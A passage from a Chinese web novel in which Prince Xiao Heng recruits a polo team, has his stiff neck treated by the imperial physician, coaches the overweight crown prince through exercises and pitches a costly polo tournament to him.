萧恒并未吩咐人上茶,直接走到了主位坐下,目光看向众人:“都平身吧。”
“谢殿下,”众人道谢直起身来,目光看向萧恒,眼中满是不解。
他们以往从未也眼前的齐王殿下打过任何的交道,今日突然召见他们,不知道是所谓何事。
萧恒也没有拐弯抹角,直接开门见山道:“本王欲要组建一支专业的马球球队,派人打听了一下,听说你们球技不错,故而派人将你们唤来,问问你们的意见,可愿成为本王麾下的球队。”
此话一出众人表情顿时一愣,专业的球队队员?
什么意思?
“恕学生愚钝,殿下所谓的专业球队是什么意思?”
一人沉吟片刻,见无人说话,开口询问道。
不怪众人不理解,马球在大梁勋贵之间,虽受众群体非常的高,但从出现过什么专业打马球的存在。
有比赛了,都是临时征召。
例如皇宫突然宣布,梁帝哪日心情极好,想要观看马球比赛。
那都是拼关系上的,一场表演赛打完,队伍现场就解散了。
又或者像昨日吴良俊与苏扬那种,各自寻找各自圈子里面的玩伴,组队进行比拼。
从来没有那人专门玩马球。
毕竟说破大天,马球这一运动,只是一件工人取乐的玩具罢了,又皆在勋贵之间展开。
勋贵的子弟怎么可能天天在一项玩乐上下功夫,即便是那些不受重视的二代,在到了一定的年纪之后,若是无法考取功名入仕为官,也没有自己的一番作为。
也会被家族安排去管理族中的田庄生意等,不会让其一直不务正业。
毕竟族中小辈一直不务正业,丢的可是长辈的脸,若是传了出去,谁也丢不起那脸。
萧恒面色轻笑:“就是你们想的那样,没啥深层的意思。”
“
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本王打算组建一支专业的马球运动员,不做其他事,只做一件事,那就是打马球。”
“有赛事,就比赛,没赛事就训练。”
“可有人报名?”
“学生愿意,”萧恒话音落下,便有一人立即开口说道,脸上满是喜色。
迫不及待的朝萧恒问道:“是不是在殿下麾下做事,就无须再去国子监读书了。”
“殿下,此人是安定侯次子唐宇成,目前在国子监读书,”周仓出声道。
听闻安定侯,萧恒对此人有印象,侯爵之位虽也是祖上传下来的,但其自身也是军中武将,立下过不少战功,若是不出意外这一代侯爵之位,应该不会递降,而是继续**到下一代。
萧恒闻言笑了笑:“怎么不愿读书?”
唐宇成抬手挠了挠后脑:“学生一看书本就犯困,不愿读。”
“那可喜欢打马球?”萧恒又问道。
“喜欢,”唐宇成脱口而出。
“本王看你是单纯的不想读书吧,”萧恒无语。
“不是的,学生只是想为殿下效犬马之劳,并不是为了不去国子监读书,殿下千万莫要误会了,”唐宇成急忙解释道。
“除了此人,你们呢,可还有愿意的?”萧恒目光看向其他人。
“小民……学生愿意。”
又有六人站了出来,其中凡是入了国子监的人,便算天子门生,萧恒乃是王爷,在萧恒面前便自称学生。
而没入国子监的,身上又无功名在身,也无官职在身的,按规矩便只能自称小民亦或者草民。
“嗯,此事本王不强求,若是不愿便算了,”萧恒看向另外四人。
这没有答应的四人,都是各族中,深受长辈喜爱的存在。
族中对他们的要求,是考取功名入仕为官,从小给他们灌输的理念便是这般。
而萧恒让他们成为专业的马球运动员,自然与他们从小的理念背道而驰了,自然不愿。
“多谢殿下体谅,”四人一脸恭敬的躬身行礼。
“嗯,退下吧,回去好好读书,争取早日考取功名,报效朝廷,”萧恒对四人鼓励了一句道。
“多谢殿下,学生告退,”四人行礼退出了大殿。
第44章:落枕
四人退去,萧恒又对留下的几人简单交流了几句。
并吩咐道:“若是有认识马球打的好存在,也可以向自己推荐,便将众人打发走了。”
今日之所以见这些人,主要是初步了解一下。
按萧恒的设想,自己居然搞了,就得搞点名堂出来。
当然更重要是对外,尤其是对太子释放出一个消息。
自己对那个位子已经不再感兴趣了,目标转移了。
比如不务正业。
堂堂皇子大搞马球比赛,在他人眼中可不是不务正业吗。
接下来的数天时间里,萧恒几乎都在书房当中,一直做着马球比赛的计划。
该如何规划,才能将利益做到最大化。
最终经过数天的规划计算下来,萧恒发现了一个问题。
若是想要按照自己的想法,成功在大梁展开第一界马球联赛,场地布置之类的。
单凭齐王府的财力,竟然搞不下来,而且缺口还挺大。
“看来此事想要办成,还需拉点投资啊。”
萧恒坐在书房中,眼前的案桌上,是自己近几日写出来的各种规划,以及预算。
思索了片刻,萧恒对外喊道:“备马,去东宫。”
萧恒能想到的投资商,第一个便是太子。
第一,自己找太子,能直白的让太子知道自己接下来要干啥,关键此事若是真赚了钱,也算是和太子拉进关系。
冰冻三尺非一日之寒,自己与太子的关系,也得一步一步的来,急不得。
至于找其他人投资,萧恒想了一圈,还真想不到谁。
大臣……或者世家?
还是算了吧,暂目前萧恒为了避嫌,躲都来不及呢,还去主动找?
半个时辰后,萧恒手中提着一个礼盒出现在了东宫前。
“齐王殿下,”一名内侍老远就看到了萧恒的身影,急忙小跑到萧恒面前,行了一礼。
萧恒表情淡然:“太子可在宫中,本王寻太子有事?”
内侍道:“回殿下,此刻太子正在接见大臣,还请殿下先移步偏殿,喝杯热茶,容奴婢通报太子殿下一声。
“嗯,”萧恒轻轻颔首,在内侍的带领下,朝偏殿走去。
中途内侍想要伸手接过萧恒手中的礼盒,被萧恒果断给拒绝了。
来到偏殿,说是偏殿,其实也是一处宽阔的殿宇。
内侍并未将萧恒带到其他大臣等候太子的厅堂之中,而是将萧恒单独带到了一处,上了一杯热茶,这才退了出去。
梁帝对太子很是看重,对外虽未下旨让太子监国,但实则太子平日里干的活与监国并无二般。
朝廷上的官员升迁推举,太子大多都有参与,只不过最终审批的是梁帝罢了。
故而太子每天都是忙的脚不沾地,需要会见不少大臣,亦或者他国使臣,以及大量的折子。
“呼……!”
萧恒这一等就是近一个时辰多,茶没怎么喝,但萧恒却是靠在椅子上直接睡着了。
无聊啊,有没手机看,枯坐,一刻钟不到,瞌睡虫就找到了萧恒。
“殿下……殿下……!”
等一名内侍走到近处时,萧恒正歪着脖子睡的真香。
耳边传来他人的呼喊。
“嗯……,”萧恒这才惊醒过来。
内侍弓着身子道:“殿下,太子爷那边这会忙完了,奴婢前来领殿下过去。”
“嗯,”萧恒睡的有些迷糊,习惯性的点了点头。
“嗷嗷……痛……!”
这才发现脖子传来一阵痛感。
“殿下你这是怎么了?”内侍见萧恒歪着脖子发出痛苦的声音,急忙询问道。
萧恒双手扶了一下脖子,试着动了一下脖子,发现一动脖子就痛。
“操,落枕了?”萧恒骂了一声。
当即无奈对内饰道:“好像落枕了,你去太医院寻个正骨厉害的太医来给本王正正骨。”
“诺,”一听只是落枕,内侍顿时松了一口气。
太监的住处并不好,他们所使用的枕头,多为木材亦或者石料做成的,所以都很硬。
而太监每日干的活又很多,所以往往每天一回到住处,几乎都是到头就睡,落枕对于宫中的太监宫女而言简直就是家常便饭。
时不时的就会有人来上这么一下。
太
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监的性命如草芥,莫说区区落枕,就算是其他什么大病,也多为硬抗,可请不起医官。
落枕自然也就是自己几人随便掰两下就成。
两日就能恢复如初,就没有任何的痛感了。
但眼前的可是王爷,内侍自然不敢说自己就会弄落枕,只是急忙应了一声,便转身为萧恒寻太医去了。
萧恒则是在另一名内侍的领路下,朝东宫明德殿走去。
明德殿是太子接见朝臣,他国使臣,批阅奏折的地方。
性质与梁帝的紫宸殿一模一样。
唯一不同的就是,一个是大梁的皇帝,一个是大梁的储君。
“臣弟参见太子殿下,”萧恒进入明德殿,太子正与一名身穿绯色官服的官员说着什么。
这名官员身上的官服绣着明显的云雁,花纹为杂花,革带为银色,是一名四品官员。
大梁官员的官服有着明显的区分,一到三品大臣,官服为绯色。
文武之间,各品秩之间,通过革带以及官袍上绣的动物进行区分。
例如文官一品绣的是仙鹤,武官则是麒麟。
二品文官为锦鸡,武官为狮子。
以此类推。
至于官服的颜色,五品到七品为青色,八品到九品为绿色。
每个品秩的官服上皆有各种动物图案,进行准确的区分各品秩的官员。
听到动静,太子与那名身穿绯色官服的官员一同抬头朝萧恒看了过来。
见萧恒一手提着一个礼盒,但却歪着脖子,二人都是一两诧异。
“你先下去吧,”太子停止了与官员的交谈,开口说道。
“诺,”官员应了一声。
“齐王殿下,”转身又朝萧恒行了一礼,这才退出了明德殿。
“你这是什么造型?”官员退了出去,太子一脸不解的开口询问道。
萧恒面露一丝尴尬之意:“刚在那边一时犯困,打了一个盹,一不小心落枕了。”
“落枕?”太子表情怔了一下,无奈摇头:“来人速速传来太医。”
“不用了,我已经命人去传了,”萧恒将礼盒放到一张桌上,歪着脖子道。
第45章:中医
“真有你小子的,就这么一会工夫,就能将自己睡落枕,”太子调侃出声。
“哎,谁知道啊,”萧恒一脸无奈:“就随便打了个盹就成这样了,我也不想啊。”
“你提个盒子作甚?”太子目光落到萧恒放到一边的礼盒上。
“这个啊,”萧恒道:“云味斋刚新出一个口味的糕点,味道还不错,我给皇嫂带的。”
“云味斋的糕点?”太子眉头一挑:“还是新出的口味。”
话落便已经起身走了过来了。
“你干嘛?”萧恒见状抬手就按住了糕点盒,瞪眼问道。
“废话,自然是吃口糕点啊,”太子抬手指了一下案桌,那里有一个空盘子,吐槽道:“一群不长眼的玩意,盘子都空了好一会了,都没人收下去,给孤换新的糕点上来。”
“正好你带来了,我先吃一块,垫垫肚子。”
面对太子爷的吐槽,四周的宫女太监一个个低头默不作声,是他们不长眼吗?
是近期太子熬夜严重,身体出现了问题,太医特意吩咐了让太子要注意休息,同时少吃油腻,过甜的食物。
所以太子妃特意吩咐了整个东宫的下人,对太子的甜品进行了管控。
一日就一盘,吃完就不给上了。
萧恒抬手一把就按在了盒子上:“这是我带给皇嫂的,你吃了,一会我给皇嫂什么?”
太子抬手就将萧恒按在糕点盒上的手给打开了。
“皇嫂皇嫂,我还是你皇兄。?”
“我吃一块怎么呢?”
说着就打开了盒子,里面是一碟精致的糕点。
太子伸手就拿起一块送入了口中,一脸满足,太子酷爱吃甜品,不过准确的说,只要是好吃的,太子都爱。
一口很快吃完,太子抬手便要拿第二块。
不过却拿了一个空,被太子的贴身太监给抢先一步,连盘子都给端了。
“刘承顺?”太子看向自己的贴身太监,瞪眼喊了一声:“你要反啊,连孤的东西都敢抢?”
刘承顺手中端着盘子,脸上没有丝毫慌张之色,毕恭毕敬道:“太子爷,太医特意嘱咐了,你现在不能吃过多的甜食,不然对你身体不好。”
“太医说的是不能吃得过多,又不是说,不能吃,给孤?”太子伸出一手。
刘承顺闻言非但没给,反而往后退了一步。
“你……!”
这让太子表情大为不爽。
“什么情况,太子爷近日身子不佳?”萧恒歪着脖子对刘承顺问道:“怎么请了太医。”
“回殿下的话,太子爷无事,就是按惯例请太医来检查身体,”刘承顺低声说道。
萧恒皱了一下眉,没继续问刘承顺,而是对太子道:“到底什么情况?”
“若是一般的情况,他一阉人敢直接夺了你堂堂太子爷的吃食,不要命了?”
“九弟莫要多虑,真没啥事,”太子笑道。
“行,那一会我去问母后去,”萧恒随口道。
“哎,千万别,”太子闻言面色一变,急忙出声:“万不可让母后忧心。”
萧恒目光平静的看向太子。
太子见状无奈叹息一声道:“就是前几日,深夜批阅折子时,一时困意来袭,睡了一会,下面的人非要小题大做罢了。”
萧恒一听心中也是一惊,你可是太子啊,大梁储君,名副其实的常务副皇帝。
大半夜的突然就昏睡了过去,这若醒不过来,整个东宫九成九的人得给你陪葬,他们不慌才怪了。
“这事你千万某要在母后耳边提及,知道不,”太子面色严肃的朝萧恒嘱咐了一声:“若是母后知道了此事,肯定又要忧心。”
“这么严重,”萧恒果断说道:“那你还是别吃了,听太医的吧。”
“就吃几块,不碍事的,”太子苦涩一笑。
“那也不行,这种事情太医的话比圣旨还要管用,”萧恒一脸认真道。
随即萧恒对刘承顺说道:“将糕点收起来,给太子妃送去,别让太子爷看到,省的你家太子爷忍不住想吃。”
“诺,”刘承顺应了一声,抬手招呼了一名内侍,将糕点递了过去。
“嘿,没想到孤也有被你管的一天,”看着心爱的糕点逐渐远去,太子表情不满,称孤道寡说道。
“那臣弟与皇兄去父皇哪里评评理,”萧恒轻笑道。
太子顿时白了萧恒一眼,坐回了案头前,道:“我这还有两封折子需要处理一下,你正好坐一会,等太医来将你那脖子给掰回来。”
“嗯,皇兄你先处理正事,”萧恒应了一声。
太医估摸着一刻钟左右的时间才紧赶慢赶的来到东宫。
来人是一位头发花白的老者,年纪怕是六十有七了,甚至更高,身穿一件绯红色官服,绣着栩栩如生的云雁。
身后跟着两名中年男子,肩上背着药箱,身着青色官服。
“臣,太医院院使卢苏盛参见太子殿下,齐王殿下。”
太医院院使弓着身子走了进来,朝二人恭敬行礼。
“没
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想到是卢院使亲自来,那就劳烦卢院使给老九好生看看,”太子抬头一脸谦和的笑道。
“诺,”卢院使应了一声,又朝萧恒行了一礼,这才走到萧恒面前询问了一下各种造成落枕的原因。
甚至问完之后,还给萧恒号了一下脉,这才起身走到萧恒身后,上手一边和萧恒说话,一边手劲轻柔的摸索萧恒的脖子。
“没啥问题殿下,就是一点小问题。”
“就殿下这身子骨……嘎吱……!”
上一刻卢院使还在与萧恒很自然的说话,下一刻就双手抱着萧恒的脑袋,猛地一用力,只听嘎吱一声。
“啊……!”
萧恒不备,下意识的发出了一声叫声。
“好了殿下,”等萧恒反应过来,卢院使已经重新一脸恭敬的站了回去了。
“好了?”萧恒表情一怔。
随即轻轻活动了一下脖子,心中一惊竟然真的不疼了。
随即又大范围的活动了一下,有丢丢感觉,但称不上痛,只能说有点麻酥麻酥的。
“竟然真的好了,”萧恒一脸惊奇,对于中医萧恒无论是前世还是原身的记忆中接触都不多。
尤其是前世,中医在很多人心中也就是一门伪科学,有个头疼脑热的都是挂水,很少找中医诊治。
在萧恒的记忆中,关于中医的记忆,大多都是村中的土郎中。
亦或者某某人身患重病已经病入膏肓了,西医已经放弃治疗之后,然后抱着一丝希望去找中医医治。
然后没多久就死球掉了,随后便是铺天盖地的谣言,某某中医又治**人。
明明人家还能多活多少日子,就是因为找了一个中医医治提前死掉了。
萧恒记忆最深的一人,是自己同学的亲戚。
肾脏出了问题,到医院一查便是尿毒症早期,肾脏已经出现了不可逆转的损伤了,最好就是直接上机透血治疗,当然因为是早期,也可先吃药,看看能不能控制着各项数据的指标。
那人没有选择立即进行透血治疗,而是选择了吃药控制,同时找了一名老中医进行治疗。
结果就是半年之后,治标控制不住,依旧进了医院进行透血治疗,从此以后那人便逢人就说。
他的肾明明还可以坚持好多好多年,不用这么早就透血治疗的,甚至他都已经在西医的治疗下,指标都快完全正常恢复好了。
就是因为在中医的治疗下,他才成为了尿毒症,不得不上机透血治疗,他这一辈子都被中医给毁了。
第46章:太子好吃
每当萧恒听到这种消息时,内心都有一种不解。
为何西医治不好,就是命,就是自然法则,就是属于正常的病情恶化。
而一旦涉及中医,就是一群庸医,是谋财害命,是无尽的骂声?
关于这件事,萧恒着实没有想通。
“殿下感觉如何?”卢院使对萧恒恭敬询问道。
萧恒活动了一下,欣喜出声:“麻酥麻酥的,但没有任何痛感了,卢院使的医术当真了得。”
“殿下言重了,”卢院使谦虚道:“殿下本身就没啥事,只是落枕,毕竟从落枕到现在,时间也不长,自然好得快。”
“太子殿下,还请耽误您片刻时间,让臣给你也号个脉,”见萧恒无事,卢院使对太子开口说道。
“昨天不是刚复诊过吗?”太子闻言皱了皱眉。
卢院使不卑不亢道:“陛下吩咐了,近段时间太医院需要每日对太子进行诊断,时刻保证太子的健康。”
“行吧行吧,”太子无奈放下手中折子,一脸的不愿。
卢院使立即上前开始为太子号脉。
萧恒站在一旁,心中了然,自己就说嘛,太医院这么多人,自己就区区一个落枕,还需太医院老大亲自跑来诊治。
须知太医院院使几乎是皇帝的私人医生,其他人一般情况下,没有梁帝的旨意,是请不动的。
一是太医院院使的身份,架子大,并且年纪也大了,自然不好请。
二一个作为常年在皇帝身边的保健医生,若是什么人都能轻易叫走,一时不注意说了什么不该说的话怎么办。
所以刚才萧恒还在纳闷呢,自己这么牛掰吗,区区一个落枕,竟然能让人家堂堂院使屁颠屁颠的跑来。
现在算是明白了,感情给自己诊治,只是捎带手罢了,做一个顺水人情。
人家真正的目的是遵照梁帝旨意,给太子进行复诊。
卢院使给太子号脉的时间非常地长,从手搭在手腕上开始,至少有五分钟的时间,没有动弹一下。
“太子换一只手,”半响过后,卢院使终于开口了,不过也只是提醒太子换一只手继续号脉。
“太子劳烦让臣看一眼舌苔。”
一通详细地检查下来,时间整整过去了一刻钟的时间。
卢院使眉头微皱,没有立即开口说话。
反倒是看了萧恒一眼。
萧恒见状,非常识趣地说道:“得,我回避一下。”
关于太子的身体情况,萧恒可以私下直接问太子。
至于太子如何回答,那是太子的事。
但此刻不能赖在这,这就有点僭越了。
“无妨,”太子倒是淡然,随意挥了挥手。
对卢院使道:“老九是自己人,有什么话但说无妨。”
卢院使闻言诧异地看了一眼萧恒,心道:九皇子与太子的关系何时这般和睦了。
连这等事情都不避讳了。
卢院使目光看向太子,苦笑出声:“臣前几日对太子的建议,太子怕是一样都没有听进去啊。”
“太子您现在的身体情况,真的不能熬夜,吃过于油腻重盐过甜的食物,另外更是需要走动走动,不能久坐。”
“但从太子您的脉象来看,这些事太子是一样都没遵守啊。”
“甚至若是臣猜测的没错,昨夜深夜太子是不是还吃了某种重油及大补的食物了。”
太子眼神出现了轻微的躲闪,随即轻轻地点了点头:“昨夜有些政务需要紧急处理一下,接近丑时才弄完,便吩咐下面的人,随便做了一点夜宵,补充了一下体力。”
卢院使道:“从今日起近段时间,太子万不可再吃药补的食材了,重油等食物也最好先控制一下。”
“另外太子您一定要走动起来啊,若是您不走动起来,单靠臣开方子调理,效果甚微啊。”
最后卢院使在心中又补了一句:“尤其是您还管不住自己的嘴,更没作用了。”
当然最后这句话,卢院使也只敢在心中吐槽一下,不敢真的说出来。
萧恒在一旁听着,插话道:“也就说太子现在没啥大事,就是过于贪嘴,加上劳累过度,又久坐不动。”
“只有运动起来,再加上药石调理一段时间,身体自然而然就好了?”
“殿下说的极是,”卢院使应了一声。
太子不满出声:“什么叫做贪嘴?”
“这不是重点,重点是你身体出现问题了,”萧恒白了太子一眼。
太子无奈:“每日需要处理的事务这么多,我能有什么办法?”
“总不能撂挑子,全部送到父皇那
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里去,让父皇一人处理吧。”
太子满脸无奈,眼神扫了一眼案桌上堆积如山的折子。
这些都是各部亦或者地方州郡地方呈上来的。
萧恒看了一眼案桌上堆积如山的折子,又看了一眼满脸疲惫的太子。
内心叹息一声,这货才真不是人干的啊。
这话萧恒没法接,选择了闭嘴。
卢院使又特意叮嘱了太子两句,然后又为太子开了一个调理的方子,这才行礼告辞离去。
“又是药,苦就算了,还没啥大用,”太子看了一眼方子,一脸烦躁地将其丢到了一边。
太子好吃,对于各种吃食都有狩猎,但难以下咽的药就算了,实在咽不下去。
“哎,要不臣弟教皇兄你跳操,”萧恒犹豫片刻道:“每日不需要多长时间,两刻钟左右,最多不会超过半个时辰。”
“一天就半个时辰的时间,也耽误不了什么。”
“跳操?”太子眼神不解:“什么意思?”
萧恒想了想道:“皇兄可以将其理解为练武,但对强身健体非常有帮助。”
“尤其是针对你这种体格子,”萧恒眼神上下打量了一眼太子那近二百的体重:“减肥效果非常好。”
减肥?
听到减肥二字,太子便感觉一阵牙疼。
自己因常年忙于处理政务,没时间弄其他的事物,便逐渐爱上了吃食。
长年的久坐加劳累,让太子年纪不到三十,便已经成为了一位大肚便便的油腻大叔了。
对于自己这个身材,梁帝也是多次劝解过,让其减肥。
太子妃更是发过狠,曾经直接找皇后授了权,控制了太子的吃食。
但这么多年下来,丝毫没有任何作用。
反倒是太子妃发狠控制太子吃食最严重那次,差点给太子交代了。
吃不饱,每天依旧需要处理大量政务,有一日正在接见官员的太子,忽然眼前一黑就倒了下去。
此事当时还闹得挺严重,原身还一度以为自己的机会就要到了。
不过这一切在现在的萧恒看来,当时的太子多半是饿急眼了,一直吃不饱,外加高强度的脑力工作的劳累,给自己干出低血糖了。
因为后来吃食不再控制之后,太子便再未出现过此类事件了。
第47章:教太子做操
“来来来,老话说的好,心动不如行动,直接动起来。”
“我怎么做,皇兄你就怎么做,”萧恒说干就干,起身就将太子拉了起来。
“哎哎哎……!”太子全身上下都写满了抗拒两个字。
“皇兄信我,真的嘎嘎管用,你只要按臣弟的教你的坚持下去。”
“最多一个月,你就可以想吃啥吃啥了,无需再继续戒口了。”
“当真?”这下太子来了兴趣了,眼都亮了。
“臣弟还能骗你不成?”萧恒一脸认真。
“开始了……!”
半刻钟后,太子满头大汗,一屁股坐在了椅子上,喘着粗气道。
“呼……不做了……不做了。”
“就你这一套下来,别说一个月了,三天我就得见皇爷爷去。”
太子此刻累得上气不接下气。
萧恒站在太子对面,此刻倒是脸不红心不跳的,额头上连细汗都还没有出一点。
原著中,原身虽然是官方指定的炮灰男二,但除了性格之外,各方面能力人家是真有的。
就说武道这一块,原身从未拉下过,每日清晨都是闻鸡起舞,风雨无阻雷打不动,倒是萧恒穿越过来之后,天天睡到日照三竿才起床,将其荒废了不少。
不过不管怎么说,原身的底子在这,就萧恒此刻教太子这套暴汗燃脂的体操,一刻钟以内想要出汗,还真有点难。
但太子就不一样了,本身就肥胖,再加上常年久坐,缺少运动。
此刻跟着萧恒做这套暴汗燃脂的体操,也就勉勉强强跟了两组,第三组还未做完,太子便累得气喘吁吁的一屁股坐回了椅子上,说什么都不肯继续跟着做了。
萧恒见状笑道:“慢慢来,你刚做是这样的,但凡事贵在坚持,皇兄只要每日坚持下来,自然慢慢就习惯了。”
“不行坚持不了一点,简直要了命,”太子喘着粗气摆手说道。
“放心这玩意要不了皇兄你的命,反倒是皇兄若是再是如此下去,反倒不妥。”
原著中太子身体后期,确实不怎么好,一直在喝药,不过不好归不好,直到炮灰男二郁郁而终,也还在坚挺。
但即便如此萧恒依旧决定要调理一下太子的身体。
毕竟今时不如往日,自己的整体战略方针已经三百六十度大反转了。
只要按自己的计划发展下去,此生便不会再被太子关押,也不会再出现郁郁而终的凄惨结局。
所以自己想要日后日子过的好,太子就必须活的久。
不然中途突然就嗝屁,年轻一代还未培养起来,大梁必定会乱起来。
到时自己恐怕也不能独善其身。
所以为了自己,也得让太子的身体好起来,至少得让这身肥肉都减下去。
“快起来,继续做,”萧恒伸手将太子重新拉了起来。
一脸严肃道:“皇兄你的身体可不是你自己的,是整个大梁的,是百姓的,可不能出问题。”
“继续,今天至少要跟着臣弟做完四组,然后以后每天一组一组的往上加,直到皇兄你能一口气做十组开始,便可以保持住,不用继续往上加了,当然做的更得效果自然更好。”
“改日再做可好,今日就先到这了,”太子眼见萧恒还要拉着自己做,急忙找了一个借口。
“不行,就皇兄你刚做哪两组,起不了啥效果,咱们再做两组,很快就好,”萧恒反驳道。
“那咱们先歇一会总行吧,”太子这会气都还没有喘匀。
“要不先你说说,你今日进宫找我何事?”
“先将正事谈了,再做也不迟。”
萧恒一本正经道:“臣弟是不急,现在紧要关头是,先将皇兄你的身体调理好。”
“这操若是中途间隔时间太长,效果就会大打折扣,两组之间休息十息时间就行,不能太长了。”
萧恒劝说道。
“兄弟啊,你就放过皇兄我吧,真做不了啊,”太子无奈求饶道。
“你俩这是在作甚?”就在二人拉扯的时候,太子妃的声音在二人耳边响了起来。
太子见到太子妃,如同抓到了什么救命稻草一般。
急忙说道:“你来的正好,老九不知道从哪学了一些奇怪的动作,这会正搁这折磨我呢,你快管管他。”
“皇嫂,”萧恒恭敬的朝太子妃行了一礼,
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开口说道:“臣弟教皇兄的这套动作全名叫做养生健康操。”
“皇嫂别看做起来特别累,但对人体的健康效果却异常的显著。”
“再者皇兄的身体状况,想必皇嫂也是在清楚不过的了,不正是缺乏运动导致的吗?”
“臣弟这是为了皇兄的身体考虑啊。”
太子妃目光落到累得不行的太子身上,又看了一眼萧恒。
她这会出来,就是因为有下人向她并报,齐王这会正在教太子什么奇怪的动作,太子已经累得不轻了,但齐王依旧不放过太子,故而出来看一眼。
莫让兄弟二人出了什么事。
此刻听闻萧恒的解释,太子妃沉吟片刻后,对萧恒一脸认真的问道:“小弟你口中的那什么养生健康操,真能缓解太子的身体状况?”
“能,”萧恒斩钉截铁道:“而且效果非常好。”
太子妃闻言几乎没有丝毫犹豫,便看向了太子,跟哄小孩似的说道:“太子,小弟乃是自家人,肯定是不会害你的,要不咱们这次就听小弟的?”
“可是累啊……!”太子垮着一张脸。
“累说明有效果啊,太子忘了太医的医嘱了?”太子妃满脸笑意,掏出一块帕子,给太子爷脸上的汗珠擦去。
太子辩解道:“太医不是开了调理的方子了吗,其实吃药是一样的,不一定非要这么累。”
“做,并且日后每天都得做,此事没得商量,”太子妃脸上的笑容突然消失。
一脸严肃的看着太子道:“你若不做,臣妾就去找母后,让母后来监督你做。”
“到时看你怎么办。”
“别,千万别让母后知晓此事,我做还不成吗,”一听要找皇后,太子慌忙出声说道。
“这还差不多,”太子妃白了太子一眼。
对萧恒道:“小弟你继续做,太子跟着,他若敢不做,我就去找母后去。”
“皇嫂威武,”萧恒朝太子妃竖了一个大拇哥。
“那皇兄咱们继续,”萧恒笑呵呵的看向太子。
太子没有回答萧恒,甚至一脸的不耐烦,但却没有继续坐着,站了起来。
显然是认命了。
第48章:请不要再画饼了,吃不下了
太子因心宽体胖第一次做确实做不了多大的量,若是第一次就强行过量,反而会伤了身体。
所以萧恒又带着太子做了三组之后,便停了下来,让太子休息了。
在萧恒教太子做动作时,太子妃还专门叫了两护卫进来,跟着一起做,学会萧恒所做的动作,好二天萧恒不在时,继续让太子跟着做。
“太子感觉如何?”在萧恒说了一句,今天就先这样吧,太子瞬间就瘫软了下去,大口大口地喘着粗气。
太子妃拿出帕子为太子擦去了脸上不断出现的汗珠。
太子爷气喘吁吁道:“我感觉皇爷爷正在呼喊我。”
“莫要说这等胡话,”太子妃闻言面色一板,随即不动声色地朝地上啐了一口。
这不是太子妃对先帝爷不敬,而是先帝爷已经实打实地驾崩多年了。
此刻太子这么说,非常的忌讳。
太子闻言笑了笑。
“行了你兄弟二人继续聊事吧,臣妾先回去了,”太子妃又呆了一会之后,行礼告辞离开了明德殿。
明德殿是太子平日接见大臣的地方,太子妃乃是后宫女眷,不好一直待在此处。
“嗯,好,”太子点了点头。
“小弟一会留下用膳,”太子妃临走时朝萧恒说道。
萧恒满脸恭敬之色:“看情况吧皇嫂,若是一会到了用膳的时间,我还在东宫就陪皇嫂与皇兄一同用膳,若是时间尚早,我打算去给母后请安。”
“嗯,那也行,今早我去母后那里,母后还在与我谈及你,说你已经好几日没有去给她老人家请安了,还在询问我,可知道你这几日都在忙些什么。”
“行,那你与你皇兄慢慢聊吧,我走了,”太子妃简单说了两句,带人离去了。
“皇兄,这会感觉如何?”太子妃走后,萧恒对太子笑着问道。
这会太子的气息已经平稳了下来,白了萧恒一眼:“还能有什么感觉,累呗。”
“累就对了,”萧恒笑道:“要的就是这种感觉。”
“另外从今以后,戌时以后皇兄你就尽量不要吃东西了,白天的时候,也尽量控制一下食量,莫要吃太多。”
太子闻言顿时瞪起了眼睛。
不等太子说话,萧恒便继续道:“最多一个月,只要皇兄你按照臣弟这套动作坚持下去,再配合太医院给你开的药膳进行调理。”
“只需一个月的时间,皇兄你以往的很多身体情况,就会自然消失。”
“另外最为关键的一点,皇兄若是能坚持下来,将皇兄你这一身肥膘减一点下来,绝对会比现在你这体格子要长寿。”
“行了行了,别搁这画饼了,生死有命富贵在天,父皇给我画的饼,我都已经快要无福消受了,你又来,着实吃不消了。”
太子不耐烦地挥了挥手。
说道:“先说说你今天来此,是要与我说什么事吧?”
萧恒笑了笑没有立即说事,而是一本正经道:“皇兄这可就冤枉臣弟了啊,臣弟是打心里,希望皇兄你能身体健康,长命百岁。”
“毕竟只有皇兄你长命百岁了,臣弟才能一辈子做个无忧无虑的逍遥王,不用担心有人背后捅臣弟刀子。”
“毕竟大树下面好乘凉啊。”
太子眯了眯眼:“常言道,靠山山会倒,靠人人会跑,枝叶再茂盛的大树,也终有枯萎的一天。”
“想要乘凉,靠一棵大树怕是不靠谱,还是得自己能随意凉快才行哦。”
萧恒面色自然,瘫软在椅子上。
大大咧咧地说道:“皇兄啊,你就别试探我了。”
“就皇兄你现在这日子,”萧恒看了一眼御案上的那堆积如山的折子。
萧恒叹息一声道:“说句粗鲁一点的话,那真是狗看了都要摇头啊。”
“一个字,累!”
“所以啊,这参天大树还是得皇兄你来,臣弟只适合,在皇兄你的庇护下,躲避一些刺眼的阳光,遮挡一下风雨。”
“当然若是有不开眼的杂草,欲要与参天大树争抢一些不该抢的存在,臣弟也不建议冲在最前面,将杂鱼挨个拔除。”
“毕竟若是杂草长得太茂盛,在大树下睡觉,也不是很舒服
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。”
“粗鄙,”这番话落到太子耳中,太子面色不变,随口训斥了一句。
“你这话若是让父皇听了去,你少不了又要被父皇训斥一顿。”
“不是,皇兄你不会是要去告密吧?”萧恒一脸担忧,表情夸张。
“你以为我和你一样闲,一天到晚没正事做?”太子表情淡然。
“嘿嘿,”萧恒嘻哈一下:“其实臣弟也是有正事的,这不臣弟听说,因为最近国库紧张,皇兄都快变卖家产了,特来给皇兄送钱来了?”
太子没有接话,都不用脑袋想,都知道绝对有下文。
天上掉馅饼的事,太子爷可不信。
更何况还是眼前这个鬼精鬼精的亲弟弟。
“皇兄你先看看这个,看完之后,我们再细聊,”萧恒从袖口中掏出一本厚厚的折子。
太子一脸狐疑的接过看了起来。
太子看得很快,等将折子合上时,太子已经眉头紧皱了。
抬头有些不悦地看向萧恒:“你这不是胡闹吗?”
“现在国库吃紧,民间百姓现在很多连饭都吃不饱,衣穿不暖。”
“你倒好,身为皇子,不想着为国为民,为父皇分忧,反倒要大耗钱财,举办一场马球比赛,还设立了高昂的奖金。”
“你要干什么?”
“民间百姓都快吃不饱饭了,朝廷还在大肆挥霍钱文享乐,”
“你这让百姓知道之后,如何看待朝廷?”
“你若真这般闲得慌,孤给你安排一个差事,省得你继续胡闹。”
面对萧恒这封关于马球比赛的折子,太子显然是怒了。
自称上都又称孤道寡了,这说明,这是君对臣子的不满。
“太子息怒,”萧恒也明显捕捉到了这一点。
立即起身对太子恭敬出声,同样未再用皇兄二字,而是称呼太子。
“臣弟有一问,不知太子殿下可否为臣弟解惑,”萧恒满脸恭敬。
